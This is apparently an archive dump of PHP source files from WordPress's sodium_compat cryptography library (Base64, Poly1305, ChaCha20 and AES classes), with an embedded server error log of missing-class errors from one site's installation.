            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE

    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2b) $ret += 62 + 1;
        $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63;

        // if ($src == 0x2f) ret += 63 + 1;
        $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15
        $diff -= ((61 - $src) >> 8) & 15;

        // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 3;

        return pack('C', $src + $diff);
    }
}
Core/Base64/UrlSafe.php000064400000017063151024233030010532 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Base64UrlSafe
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_UrlSafe
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE
    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2c) $ret += 62 + 1;
        $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63;

        // if ($src == 0x5f) ret += 63 + 1;
        $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13
        $diff -= ((61 - $src) >> 8) & 13;

        // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 49;

        return pack('C', $src + $diff);
    }
}
Core/Poly1305.php000064400000003046151024233030007375 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305
 */
abstract class ParagonIE_Sodium_Core_Poly1305 extends ParagonIE_Sodium_Core_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
Core/ChaCha20/error_log000064400000013600151024233030010613 0ustar00[28-Oct-2025 08:26:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[28-Oct-2025 08:47:34 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Nov-2025 00:16:52 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Nov-2025 00:22:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Nov-2025 17:57:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Nov-2025 18:12:30 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Nov-2025 02:16:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Nov-2025 02:17:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Nov-2025 02:28:13 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Nov-2025 02:34:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Nov-2025 22:49:20 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Nov-2025 22:49:24 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Nov-2025 22:50:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Nov-2025 22:59:15 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Nov-2025 23:05:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Nov-2025 23:14:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
Core/ChaCha20/IetfCtx.php000064400000002452151024233030010760 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] = self::load_4(self::substr($counter, 0, 4));
        }
        $this->container[13] = self::load_4(self::substr($iv, 0, 4));
        $this->container[14] = self::load_4(self::substr($iv, 4, 4));
        $this->container[15] = self::load_4(self::substr($iv, 8, 4));
    }
}
Core/ChaCha20/Ctx.php000064400000007546151024233030010161 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core_ChaCha20_Ctx extends ParagonIE_Sodium_Core_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, int>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = 0x61707865;
        $this->container[1]  = 0x3320646e;
        $this->container[2]  = 0x79622d32;
        $this->container[3]  = 0x6b206574;
        $this->container[4]  = self::load_4(self::substr($key, 0, 4));
        $this->container[5]  = self::load_4(self::substr($key, 4, 4));
        $this->container[6]  = self::load_4(self::substr($key, 8, 4));
        $this->container[7]  = self::load_4(self::substr($key, 12, 4));
        $this->container[8]  = self::load_4(self::substr($key, 16, 4));
        $this->container[9]  = self::load_4(self::substr($key, 20, 4));
        $this->container[10] = self::load_4(self::substr($key, 24, 4));
        $this->container[11] = self::load_4(self::substr($key, 28, 4));

        if (empty($counter)) {
            $this->container[12] = 0;
            $this->container[13] = 0;
        } else {
            $this->container[12] = self::load_4(self::substr($counter, 0, 4));
            $this->container[13] = self::load_4(self::substr($counter, 4, 4));
        }
        $this->container[14] = self::load_4(self::substr($iv, 0, 4));
        $this->container[15] = self::load_4(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
Core/AES.php000064400000037015151024233030006554 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES', false)) {
    return;
}

/**
 * Bitsliced implementation of the AES block cipher.
 *
 * Based on the implementation provided by BearSSL.
 *
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var int[] AES round constants
     */
    private static $Rcon = array(
        0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36
    );

    /**
     * Mutates the values of $q!
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function sbox(ParagonIE_Sodium_Core_AES_Block $q)
    {
        /**
         * @var int $x0
         * @var int $x1
         * @var int $x2
         * @var int $x3
         * @var int $x4
         * @var int $x5
         * @var int $x6
         * @var int $x7
         */
        $x0 = $q[7] & self::U32_MAX;
        $x1 = $q[6] & self::U32_MAX;
        $x2 = $q[5] & self::U32_MAX;
        $x3 = $q[4] & self::U32_MAX;
        $x4 = $q[3] & self::U32_MAX;
        $x5 = $q[2] & self::U32_MAX;
        $x6 = $q[1] & self::U32_MAX;
        $x7 = $q[0] & self::U32_MAX;

        $y14 = $x3 ^ $x5;
        $y13 = $x0 ^ $x6;
        $y9 = $x0 ^ $x3;
        $y8 = $x0 ^ $x5;
        $t0 = $x1 ^ $x2;
        $y1 = $t0 ^ $x7;
        $y4 = $y1 ^ $x3;
        $y12 = $y13 ^ $y14;
        $y2 = $y1 ^ $x0;
        $y5 = $y1 ^ $x6;
        $y3 = $y5 ^ $y8;
        $t1 = $x4 ^ $y12;
        $y15 = $t1 ^ $x5;
        $y20 = $t1 ^ $x1;
        $y6 = $y15 ^ $x7;
        $y10 = $y15 ^ $t0;
        $y11 = $y20 ^ $y9;
        $y7 = $x7 ^ $y11;
        $y17 = $y10 ^ $y11;
        $y19 = $y10 ^ $y8;
        $y16 = $t0 ^ $y11;
        $y21 = $y13 ^ $y16;
        $y18 = $x0 ^ $y16;

        /*
         * Non-linear section.
         */
        $t2 = $y12 & $y15;
        $t3 = $y3 & $y6;
        $t4 = $t3 ^ $t2;
        $t5 = $y4 & $x7;
        $t6 = $t5 ^ $t2;
        $t7 = $y13 & $y16;
        $t8 = $y5 & $y1;
        $t9 = $t8 ^ $t7;
        $t10 = $y2 & $y7;
        $t11 = $t10 ^ $t7;
        $t12 = $y9 & $y11;
        $t13 = $y14 & $y17;
        $t14 = $t13 ^ $t12;
        $t15 = $y8 & $y10;
        $t16 = $t15 ^ $t12;
        $t17 = $t4 ^ $t14;
        $t18 = $t6 ^ $t16;
        $t19 = $t9 ^ $t14;
        $t20 = $t11 ^ $t16;
        $t21 = $t17 ^ $y20;
        $t22 = $t18 ^ $y19;
        $t23 = $t19 ^ $y21;
        $t24 = $t20 ^ $y18;

        $t25 = $t21 ^ $t22;
        $t26 = $t21 & $t23;
        $t27 = $t24 ^ $t26;
        $t28 = $t25 & $t27;
        $t29 = $t28 ^ $t22;
        $t30 = $t23 ^ $t24;
        $t31 = $t22 ^ $t26;
        $t32 = $t31 & $t30;
        $t33 = $t32 ^ $t24;
        $t34 = $t23 ^ $t33;
        $t35 = $t27 ^ $t33;
        $t36 = $t24 & $t35;
        $t37 = $t36 ^ $t34;
        $t38 = $t27 ^ $t36;
        $t39 = $t29 & $t38;
        $t40 = $t25 ^ $t39;

        $t41 = $t40 ^ $t37;
        $t42 = $t29 ^ $t33;
        $t43 = $t29 ^ $t40;
        $t44 = $t33 ^ $t37;
        $t45 = $t42 ^ $t41;
        $z0 = $t44 & $y15;
        $z1 = $t37 & $y6;
        $z2 = $t33 & $x7;
        $z3 = $t43 & $y16;
        $z4 = $t40 & $y1;
        $z5 = $t29 & $y7;
        $z6 = $t42 & $y11;
        $z7 = $t45 & $y17;
        $z8 = $t41 & $y10;
        $z9 = $t44 & $y12;
        $z10 = $t37 & $y3;
        $z11 = $t33 & $y4;
        $z12 = $t43 & $y13;
        $z13 = $t40 & $y5;
        $z14 = $t29 & $y2;
        $z15 = $t42 & $y9;
        $z16 = $t45 & $y14;
        $z17 = $t41 & $y8;

        /*
         * Bottom linear transformation.
         */
        $t46 = $z15 ^ $z16;
        $t47 = $z10 ^ $z11;
        $t48 = $z5 ^ $z13;
        $t49 = $z9 ^ $z10;
        $t50 = $z2 ^ $z12;
        $t51 = $z2 ^ $z5;
        $t52 = $z7 ^ $z8;
        $t53 = $z0 ^ $z3;
        $t54 = $z6 ^ $z7;
        $t55 = $z16 ^ $z17;
        $t56 = $z12 ^ $t48;
        $t57 = $t50 ^ $t53;
        $t58 = $z4 ^ $t46;
        $t59 = $z3 ^ $t54;
        $t60 = $t46 ^ $t57;
        $t61 = $z14 ^ $t57;
        $t62 = $t52 ^ $t58;
        $t63 = $t49 ^ $t58;
        $t64 = $z4 ^ $t59;
        $t65 = $t61 ^ $t62;
        $t66 = $z1 ^ $t63;
        $s0 = $t59 ^ $t63;
        $s6 = $t56 ^ ~$t62;
        $s7 = $t48 ^ ~$t60;
        $t67 = $t64 ^ $t65;
        $s3 = $t53 ^ $t66;
        $s4 = $t51 ^ $t66;
        $s5 = $t47 ^ $t65;
        $s1 = $t64 ^ ~$s3;
